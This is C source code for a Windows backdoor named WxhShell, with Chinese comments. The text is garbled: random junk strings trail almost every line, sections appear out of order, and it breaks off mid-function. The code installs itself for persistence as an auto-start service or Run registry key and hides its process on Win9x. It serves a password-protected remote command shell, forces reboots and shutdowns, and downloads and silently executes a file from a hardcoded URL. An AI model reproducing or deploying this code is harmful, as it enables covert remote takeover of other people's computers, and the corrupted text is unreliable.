    } 8{B]_: -:  
    break; /cC4K\M  
    } w:3CWF4q]  
  // 关机 6|10OTVu`  
  case 'd': { kP[LS1}*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N_o|2  
    if(Boot(SHUTDOWN)) njGZ#{"eC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6}JW- sA  
    else { ZOzwO6(_  
    closesocket(wsh); q Oyo+hu  
    ExitThread(0); 2q}lSa7r  
    } kJNu2S  
    break; bFB.hkTP  
    } HLb`'TC3r+  
  // 获取shell \H {UJ  
  case 's': { #v\o@ArX  
    CmdShell(wsh); tdOox87YK  
    closesocket(wsh); EXizRL-9o  
    ExitThread(0); *T-v^ndJh  
    break; JWV n@)s  
  } V2o1~R~  
  // 退出 5-! Zm]  
  case 'x': { =y]F cxF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /c!@ H(^)  
    CloseIt(wsh); 2B[I- K s  
    break; RN ~pC  
    } %mNd9 ]<  
  // 离开 }~!KjFbs  
  case 'q': { ,jJbQIu#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PNRZUZ4Z|  
    closesocket(wsh); .9$ 7 +  
    WSACleanup(); fDrjR6xV  
    exit(1); 3)3$ L  
    break; 7CSd}@71\  
        } ^+u/Lw&  
  } _Eus7  
  } ^-g-]?q  
bq"dKN`  
  // 提示信息 DpvMY94Qh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _KAg1Ww  
} ';KZ.D  
  } 7"p%c`*;  
Y~P* !g  
  return; 3) _(t.$D  
} w3 K>IDWI7  
!w{(}n2Wq  
// shell模块句柄 pg/SYEvsV  
int CmdShell(SOCKET sock) ]z"7v  
{ p#>d1R1&  
STARTUPINFO si; 9e0t  
ZeroMemory(&si,sizeof(si)); j)Y68fKK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #8i9@w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fea4Ul{ib  
PROCESS_INFORMATION ProcessInfo; [f#7~  
char cmdline[]="cmd"; >36>{b<'$*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8w9?n3z=}  
  return 0; I2e@_[ 1  
} cOb ,Md  
VZCCMh-  
// 自身启动模式 yN9setw*,M  
int StartFromService(void) O[\obi"}  
{ e)2w&2i`(F  
typedef struct D |9ItxYu  
{ aJSBG|IC  
  DWORD ExitStatus; #GIjU1-  
  DWORD PebBaseAddress; CNrK]+>  
  DWORD AffinityMask; /tu\q  
  DWORD BasePriority; 7"s8G 7  
  ULONG UniqueProcessId; x|U[|i,;  
  ULONG InheritedFromUniqueProcessId; |\J! x|xy  
}   PROCESS_BASIC_INFORMATION; H\<^p",`  
D0 ,t,,L  
PROCNTQSIP NtQueryInformationProcess; 1 2J#}|  
!z |a+{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <a)L5<#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UCI !>G  
E2yL9]K2  
  HANDLE             hProcess; |>jlmaV  
  PROCESS_BASIC_INFORMATION pbi; +~!\;71:f  
/..a9x{At>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ),&tF_z:  
  if(NULL == hInst ) return 0; 5<mGG;F  
g<jgR*TE`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $pfN0/`(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @Xl/<S&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :2E?|}`7\  
y4`uU1=  
  if (!NtQueryInformationProcess) return 0; u>h|A(<  
zj UT:#(k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yvt :/X  
  if(!hProcess) return 0; _l$X![@6=  
~#nbD-*#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [FN4_  
-efB8)A  
  CloseHandle(hProcess); [zc8f  
;SVAar4r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T;Zv^:]0  
if(hProcess==NULL) return 0; jb0LMl}/A  
-:!FQ'/7E  
HMODULE hMod; XpoEZ|0  
char procName[255]; K %Qj<{)  
unsigned long cbNeeded; OYayTKxN  
,<,#zG[.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O&ZVu>`g  
,n\'dMNii  
  CloseHandle(hProcess); >TB Rp,;r  
/Lt Lu  
if(strstr(procName,"services")) return 1; // 以服务启动 " UxKG+   
M;zJ1  
  return 0; // 注册表启动 E6_.Q `!ll  
}  <6[P5>  
,BuEX#ZaBl  
// 主模块 bZ_vb? n  
int StartWxhshell(LPSTR lpCmdLine) o%V%@q H  
{ /IyCvo  
  SOCKET wsl; &HIG776  
BOOL val=TRUE; ua HB\Uc  
  int port=0; &I=F4 z  
  struct sockaddr_in door; l>iE1`iL<  
`8<h aU  
  if(wscfg.ws_autoins) Install(); 9&7$oI$!J  
-eSZpzp  
port=atoi(lpCmdLine); z4iZE*ZS  
8@Hl0{q  
if(port<=0) port=wscfg.ws_port; pG0Ca](  
AW< z7B D  
  WSADATA data; <Z58"dg.5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cO^}A(Ma(  
c>pbRUMH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y`Km96 Ui  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DP<[Uz&  
  door.sin_family = AF_INET; l d@B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3,4m|Z2)  
  door.sin_port = htons(port); ed6eC8@  
}!n90 9 L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1Z| {3W  
closesocket(wsl); /O/pAu>  
return 1; `-QY<STTP9  
} u~VvGLFf5,  
DgiMMmpE  
  if(listen(wsl,2) == INVALID_SOCKET) { "2a&G3}t"  
closesocket(wsl); B9(e"cMm  
return 1; Sm(t"#dp  
} s!Y`1h{  
  Wxhshell(wsl); 3Sclr/t  
  WSACleanup(); Z{gJm9  
 Z?_ t3  
return 0; Q@HW`@i  
byB ESyV!O  
} i$b Het  
yYri.n  
// 以NT服务方式启动  q{*4BL'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k5ZkD+0Jo  
{ tH\ aHU[  
DWORD   status = 0;  XBF]|}%  
  DWORD   specificError = 0xfffffff; ^N`bA8  
dX8N7{"[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T~" T%r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9u&q{I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yw3E$~k  
  serviceStatus.dwWin32ExitCode     = 0; B[Gl}(E  
  serviceStatus.dwServiceSpecificExitCode = 0; c5f8pa *  
  serviceStatus.dwCheckPoint       = 0; eO?.8OM-a  
  serviceStatus.dwWaitHint       = 0; \Rff3$  
A tU!8Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qh<h|C]V  
  if (hServiceStatusHandle==0) return; ds9L4zfO  
}q~M$  
status = GetLastError(); (g>>   
  if (status!=NO_ERROR) k@i+gV%  
{ H*M)<"X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5C^oqUZ  
    serviceStatus.dwCheckPoint       = 0; f6d:5 X_  
    serviceStatus.dwWaitHint       = 0; ~c*$w O\  
    serviceStatus.dwWin32ExitCode     = status; Aa#WhF  
    serviceStatus.dwServiceSpecificExitCode = specificError; q\fZ Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xct{Tv[FO  
    return; |re>YQ!zd  
  } 1aQR9zg%  
OE4hG xG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Eoo[)V#x{  
  serviceStatus.dwCheckPoint       = 0; (4WAoye|  
  serviceStatus.dwWaitHint       = 0; G?t<4MT v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); snW=9b)m  
} $aFCe}3b<  
e t$VR:  
// 处理NT服务事件,比如:启动、停止 uN)o|7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }{(dG7G+  
{ F/ODV=J-  
switch(fdwControl) nhm)P_p   
{ w>]?gN?8Fe  
case SERVICE_CONTROL_STOP: <+tSTc4>r  
  serviceStatus.dwWin32ExitCode = 0; S3G9/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wM"P JG  
  serviceStatus.dwCheckPoint   = 0; ("7rjQjRz  
  serviceStatus.dwWaitHint     = 0; Hlr[x  
  { ~_ 8X%ut y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %}nNwuJ  
  } #Oeb3U  
  return; qkEre  
case SERVICE_CONTROL_PAUSE: @Weim7r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XmK2Xi;=b  
  break; p:GB"e9>H  
case SERVICE_CONTROL_CONTINUE: VJeoO)<j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xDU{I0M  
  break; d3nMeAI AO  
case SERVICE_CONTROL_INTERROGATE: l. 9 i `  
  break; o<Esh;;*nm  
}; 3Dd"qON!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1TagQ  
} j0XS12eM  
KXQ &u{[<  
// 标准应用程序主函数 Z/r=4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TspuZR@2  
{ 8$+mST'4N  
*u i!|;  
// 获取操作系统版本 /{[Y l[{"<  
OsIsNt=GetOsVer(); rY~!hZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?nLlZpZ2v  
vG{+}o#  
  // 从命令行安装 ZCT\4Llv#  
  if(strpbrk(lpCmdLine,"iI")) Install(); eVXlQO  
Qcy /)4Hfg  
  // 下载执行文件 ;77#$H8)  
if(wscfg.ws_downexe) { O7M8!3Eqm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *[P"2b#  
  WinExec(wscfg.ws_filenam,SW_HIDE); *t)Y@=k3>  
} >o]!-46  
e;*GbXd|  
if(!OsIsNt) { o*[n[\cR  
// 如果时win9x,隐藏进程并且设置为注册表启动 O3YD jas  
HideProc(); vDeb?n  
StartWxhshell(lpCmdLine); bvxol\7;  
} 9_h  V1:  
else _|'e Az   
  if(StartFromService()) r@O5{V  
  // 以服务方式启动 %OIJ.  
  StartServiceCtrlDispatcher(DispatchTable); Y#/mE!&  
else xF#'+Y  
  // 普通方式启动 !T'`L{Sj  
  StartWxhshell(lpCmdLine); ou{}\^DgQ  
[1LlzCAFBw  
return 0; /S9(rI<'  
} I)JqaM  
:Zs i5>MT  
k%|Sl>{Ir  
>!D^F]CH  
=========================================== U '$W$()p  
+.EP_2f9  
DL t"cAW  
$+P6R`K  
I1a>w=x!+  
T"b'T>Y  
" 7K5D,"D;1  
#80 [q3  
#include <stdio.h> f*:DH4g }B  
#include <string.h> F=B[%4q`%  
#include <windows.h> WLy%| {/  
#include <winsock2.h> C-}@.wr(  
#include <winsvc.h> '1 }ybSG  
#include <urlmon.h> nB &[R  
2m*g,J?ql  
#pragma comment (lib, "Ws2_32.lib") '#oNOU  
#pragma comment (lib, "urlmon.lib") pkKcTY1Fx  
UqA<rW  
#define MAX_USER   100 // 最大客户端连接数 zUIh^hbFf  
#define BUF_SOCK   200 // sock buffer eXYf"hU,  
#define KEY_BUFF   255 // 输入 buffer N,4. %|1  
S#:yl>2  
#define REBOOT     0   // 重启 w<P$)~6  
#define SHUTDOWN   1   // 关机 2}BQ=%E!'  
Y6Mp[=  
#define DEF_PORT   5000 // 监听端口 *B3 4  
"8-;Dq'+  
#define REG_LEN     16   // 注册表键长度 `q$a p$?  
#define SVC_LEN     80   // NT服务名长度 0D s W1  
QF74'  
// 从dll定义API &Rp/y%9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <NYf!bx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XH`W(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B*3<(eI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E5+-N  
L|*0 A=6  
// wxhshell配置信息 e*!0|#-  
struct WSCFG { JnY.]:  
  int ws_port;         // 监听端口 "T4buTXJ  
  char ws_passstr[REG_LEN]; // 口令 n90DS/Yx  
  int ws_autoins;       // 安装标记, 1=yes 0=no S%p.|!  
  char ws_regname[REG_LEN]; // 注册表键名 c]+uj q  
  char ws_svcname[REG_LEN]; // 服务名 !j8 DCVb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1Uaj}= @M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Aw) I:d7F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9{cpxJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  v[+ ]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4c'F.0^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hR+\,P#G[  
UID0|+%Y  
}; 7@NV|Idtd  
#7r13$>!  
// default Wxhshell configuration r?$ V;Z  
struct WSCFG wscfg={DEF_PORT, [q!/YL3 %  
    "xuhuanlingzhe", %nV6#pr  
    1, Iy#=Nq=  
    "Wxhshell", U0ZPY )7k  
    "Wxhshell", \n<9R8g5  
            "WxhShell Service", @QO^3%b8  
    "Wrsky Windows CmdShell Service", m|]:oT`M  
    "Please Input Your Password: ", #;])/8R%  
  1, )_a;xB` S(  
  "http://www.wrsky.com/wxhshell.exe", v vzPt.ag  
  "Wxhshell.exe" HD YWDp  
    }; EpCF/i?9:  
^r@,(r6w  
// 消息定义模块 [C`LKA$t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c\le8C3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;Qi0j<dXd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CxD=8X9m  
char *msg_ws_ext="\n\rExit."; P}=U #AV4  
char *msg_ws_end="\n\rQuit."; =eyPo(B  
char *msg_ws_boot="\n\rReboot..."; }B ?_>0  
char *msg_ws_poff="\n\rShutdown..."; D%*Ryg  
char *msg_ws_down="\n\rSave to "; odTa 2$O  
+yI2G! $T9  
char *msg_ws_err="\n\rErr!"; !<vy!pXg  
char *msg_ws_ok="\n\rOK!"; QmC#1%@a  
v|R#[vtFd  
char ExeFile[MAX_PATH]; ]YrgkC35  
int nUser = 0; %z6_,|%  
HANDLE handles[MAX_USER]; `b KJ  
int OsIsNt; kD me>E=  
}z F,dst  
SERVICE_STATUS       serviceStatus; F<4>g+Ag  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g=$nNQ \6=  
.aQ8I1~  
// 函数声明 c"diNbm[  
int Install(void); H5(: 1  
int Uninstall(void); X#o<))  
int DownloadFile(char *sURL, SOCKET wsh); #x6EZnG  
int Boot(int flag); NQcNY=  
void HideProc(void); iXLH[uhO;  
int GetOsVer(void); 84 <zTmm  
int Wxhshell(SOCKET wsl); uT>"(wnJ|  
void TalkWithClient(void *cs); SmUiH9qNd,  
int CmdShell(SOCKET sock); a1shP};pK  
int StartFromService(void); nG%<n  
int StartWxhshell(LPSTR lpCmdLine); 8~sC$sIlE  
E.,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m^ /s}WEqp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s_3a#I  
]:}7-;$V  
// 数据结构和表定义 OQVo4yl"  
SERVICE_TABLE_ENTRY DispatchTable[] = IdCE<Oj\  
{ ]*D~>q"#\  
{wscfg.ws_svcname, NTServiceMain}, ,<$rSvMfg  
{NULL, NULL} &7 9F Uac  
}; N|%X/UjZ2.  
:1;"{=Yx}  
// 自我安装 w~3z) ;  
int Install(void) p^w_-( p  
{ I%{ 1K+V/  
  char svExeFile[MAX_PATH]; ,ZVhL* "  
  HKEY key; +U iJWO  
  strcpy(svExeFile,ExeFile); hW`o-'  
Gr'|nR8  
// 如果是win9x系统,修改注册表设为自启动 o*3\xg  
if(!OsIsNt) { 7d/I"?=|rA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %~M#3Ywa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^a$L9p(  
  RegCloseKey(key); Z*IW*f&0>1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =}0$|@pl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LP/SblE  
  RegCloseKey(key); mC3:P5/c  
  return 0; ^V7)V)Z;0  
    } 8U n0<+b  
  } RY1-Zjlb<  
} _w2KUvG-8  
else { R+2~%|{d  
\Y`psSf+  
// 如果是NT以上系统,安装为系统服务 w_DaldK*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `6BQ6)7  
if (schSCManager!=0) $j \jT  
{ P76gJ@#m  
  SC_HANDLE schService = CreateService E(&zH;?_  
  ( Asy2jw\V  
  schSCManager, ":qS9vW  
  wscfg.ws_svcname, ,c 0]r;u!  
  wscfg.ws_svcdisp, ;,7m  
  SERVICE_ALL_ACCESS, 93ggCOaYA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \FF|b"E_=  
  SERVICE_AUTO_START, Qz"//=hC|H  
  SERVICE_ERROR_NORMAL, r?dkE=B  
  svExeFile, [^XD @  
  NULL, m)]|mYjju  
  NULL, 4G hg~0  
  NULL, qQ1D}c@  
  NULL, @, AB 2D  
  NULL {Z1-B60P  
  ); AS0mM HJk  
  if (schService!=0) ad9u;uS  
  { 02)Ybp6y  
  CloseServiceHandle(schService); ad52a3deR  
  CloseServiceHandle(schSCManager); = )4bf"~8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wM#l`I  
  strcat(svExeFile,wscfg.ws_svcname); _X@ Q`d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %eGD1.R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); / Xv@g$  
  RegCloseKey(key); LX #.  
  return 0; l{VJaZ $M  
    } s?fEorG  
  } 4VkJtu5  
  CloseServiceHandle(schSCManager); V8b^{}nxt  
} u'gsIuRJ  
} 6Q&i=!fQ  
Zm(}~C29  
return 1; 23opaX5V=  
} t+jdV  
2P{! n#"  
// 自我卸载 A2Iqn5  
int Uninstall(void) 'b+ Tio  
{ vkW;qt}yO  
  HKEY key; n@S|^cH  
2d<`dQY{l3  
if(!OsIsNt) { q~X}&}UT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~dLe9-_9  
  RegDeleteValue(key,wscfg.ws_regname); kq(]7jU$[  
  RegCloseKey(key); 3ZvQUH/{W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E.^u:0:P  
  RegDeleteValue(key,wscfg.ws_regname); U]ZI_[\'U  
  RegCloseKey(key); SL<EZn0F9  
  return 0; 2#' "<n,G  
  } nQn=zbZ3  
} w2K>k/v{-  
} q@Zeu\T,*#  
else { 5rJ7CfVq  
SW HiiF@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -or)NE  
if (schSCManager!=0) C4|79UG>s  
{ )1O|+m k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ihl]"76q/  
  if (schService!=0) 0 Gq<APtr  
  { a JQ_V  
  if(DeleteService(schService)!=0) { <S0gIg`)  
  CloseServiceHandle(schService); VxU{ZD~<Z"  
  CloseServiceHandle(schSCManager); 5L\Im^  
  return 0; %y)LBSxf  
  } <_4'So>  
  CloseServiceHandle(schService); w}x&wWM  
  } Wa%p+(\<uB  
  CloseServiceHandle(schSCManager); :} o{<U  
} ;Udx|1o  
} t\\<+^[%  
V j[,o Vt$  
return 1; Q*/jQC  
} z~;@Mo"*f  
YRj"]= 5N  
// 从指定url下载文件 `V?NS,@$  
int DownloadFile(char *sURL, SOCKET wsh) {%X[Snv  
{ a!;K+wL >  
  HRESULT hr; *,wW-8  
char seps[]= "/"; CW~c<,"  
char *token; *(nu0  
char *file; -nB. .q  
char myURL[MAX_PATH]; tj tN<y  
char myFILE[MAX_PATH]; EL9JM}%0v  
^]$rh.7&  
strcpy(myURL,sURL); ~|`jIqU  
  token=strtok(myURL,seps); 4TaHS!9  
  while(token!=NULL) szy2"~hm  
  { Kp/l2?J"  
    file=token; {JW_ZJx  
  token=strtok(NULL,seps); smuQ1.b  
  } sQT<I]e  
RIF*9=,S  
GetCurrentDirectory(MAX_PATH,myFILE); L>,xG.oG  
strcat(myFILE, "\\"); M =GF@C;b  
strcat(myFILE, file); (}CA?/  
  send(wsh,myFILE,strlen(myFILE),0); alZ83^YN'  
send(wsh,"...",3,0); 49 1 1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m>'#664q1  
  if(hr==S_OK) V_T~5%9Fy  
return 0; F=$U.K~1?  
else .c_qMTm"  
return 1; Q_|Lv&  
.vpx@_;]9  
} LLwC*)#  
3 n1 > +8  
// 系统电源模块 }/F9(m  
int Boot(int flag) ]#J-itO  
{ |f+fG=a67V  
  HANDLE hToken; =M34 HPG  
  TOKEN_PRIVILEGES tkp; Qh4Z{c@  
^+9i~PjL  
  if(OsIsNt) { 8' +I8J0l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C0'_bTfB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IPlkv{^  
    tkp.PrivilegeCount = 1; Rhh.fV3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =OooTZb:x-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :"Kr-Hm`  
if(flag==REBOOT) { 2;YL+v2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E)( Rhvij  
  return 0; N`5 mPE  
} _(:bGI'.m  
else { FJ O- p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Iz I hC  
  return 0; lkgB,cflpi  
} Yf x'7gj  
  } ~ 6Hi"w  
  else { ]Hrw$\Ky  
if(flag==REBOOT) { ?uqPye1fc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w0fFm"A|W  
  return 0; /QVhT  
} IL<@UWs6  
else { bH_zWk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5x' ^.$K >  
  return 0; . AX6xc6  
} F2mW<REg{  
} =' #yG(h  
<z-+{-?z~  
return 1; E% \Ohs7  
} >/DlxYG?  
IVSd,AR7yY  
// win9x进程隐藏模块 YW^sf,zQ  
void HideProc(void) %ZJ;>a#  
{ $U}GX'1LZ  
bF? {  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O.OSLezTQ  
  if ( hKernel != NULL ) &e1(|qax  
  { 0uf)6(f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0-zIohSJdQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xX{gm'3UYa  
    FreeLibrary(hKernel); P}mn2Hs  
  } N(L?F):fT  
?h'd\.j{  
return; FFID<L f/2  
} ?-9It|R  
0o-KjX?kP  
// 获取操作系统版本 qX!P:M  
int GetOsVer(void) .06[*S  
{ w:o,mzuXK  
  OSVERSIONINFO winfo; ^EmI;ks  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #N `Z)}Jm  
  GetVersionEx(&winfo); @(LEuYq}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8hm|9  
  return 1; h$q=NTV  
  else :LBRyBV  
  return 0; p*" H&xA@  
} E=8$*YUW(g  
[78^:q-/0  
// 客户端句柄模块 uOprA`3  
int Wxhshell(SOCKET wsl) j43-YdCJ  
{ @j?)uJ0Q  
  SOCKET wsh; ,.&y-?  
  struct sockaddr_in client; t5jZ8&M5]  
  DWORD myID; fkK42*U@r  
\Dr?}D  
  while(nUser<MAX_USER) ".T&nS[z  
{ YCEdt>5PA  
  int nSize=sizeof(client); <GRrw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MLn\ b0  
  if(wsh==INVALID_SOCKET) return 1; rP7f~"L  
B]|"ePj-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `f+l\'.s  
if(handles[nUser]==0) 6$*ZH *  
  closesocket(wsh); v6`TbIq%  
else #&ZwQw  
  nUser++; 2';f8JLY  
  } .@(9v.:_u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W=@]YI  
<hSrx7o  
  return 0; b6A]/290x  
} *&lNzz5&  
%vFoTu)2  
// 关闭 socket i$!-mYi+Q!  
void CloseIt(SOCKET wsh) t^-yK;`?q:  
{ >@9>bI+Q  
closesocket(wsh); cq \()uF'c  
nUser--; 6Cd% @Q2cr  
ExitThread(0); S,~DA3  
} RkuPMs Hw;  
U k*HRudt  
// 客户端请求句柄 Z 7s (g]  
void TalkWithClient(void *cs) Y]gb`z$?  
{ j=~c( B  
3G)Wmmh"a  
  SOCKET wsh=(SOCKET)cs; XF 8$D  
  char pwd[SVC_LEN]; Y>i?nC%*  
  char cmd[KEY_BUFF]; ({_Dg43O'[  
char chr[1]; ?E:L6,a  
int i,j; 98AX=%8  
N]6M4j!  
  while (nUser < MAX_USER) { szx7CP`<8  
W4~:3 Sk  
if(wscfg.ws_passstr) { Ot#O];3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  iI(7{$y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1"5-doo  
  //ZeroMemory(pwd,KEY_BUFF); R"`7aa6  
      i=0; 4PzCm k  
  while(i<SVC_LEN) { DoA+Bwq@  
9dFSppM  
  // 设置超时 Z U^dLN- N  
  fd_set FdRead; KixS)sG  
  struct timeval TimeOut; r|>a;n Y  
  FD_ZERO(&FdRead); YYc.e T<  
  FD_SET(wsh,&FdRead); b;XUv4~V  
  TimeOut.tv_sec=8; *.]M1  
  TimeOut.tv_usec=0; b7_uT`<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ToWtltCD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $<(FZb=  
CZL:&~l1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5s'oVO*hW  
  pwd=chr[0]; {q-<1|xj/J  
  if(chr[0]==0xd || chr[0]==0xa) { "Wz#<! .r  
  pwd=0; . w_oWmD  
  break; d!i#@XZ^  
  } -0/5 !  
  i++; }t^N|I  
    } k[p7)ec  
5 UQbd8  
  // 如果是非法用户,关闭 socket NY`$D}Bi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,>rr|O  
} Rr|&~%#z  
{:;599l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *$I5_A8,.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;Xw'WMb*=  
"+6:vhP5  
while(1) { W+C@(}pt  
LK1 r@  
  ZeroMemory(cmd,KEY_BUFF); t<|S7EqIL  
&(] @L\A  
      // 自动支持客户端 telnet标准   1dy>a=W  
  j=0; z!r-g(^G  
  while(j<KEY_BUFF) { 7z=zJ4C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3. kP,  
  cmd[j]=chr[0]; gfPht 5  
  if(chr[0]==0xa || chr[0]==0xd) { -!k$ Z  
  cmd[j]=0; g{}{gBplnl  
  break; ?/ @~ d  
  } K5fL{2V?  
  j++; IP 9{vk  
    } .%(Q*ioDh  
cCoa3U/  
  // 下载文件 ]H4T80wm&  
  if(strstr(cmd,"http://")) { 0~5'O[NhF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?x|8"*N  
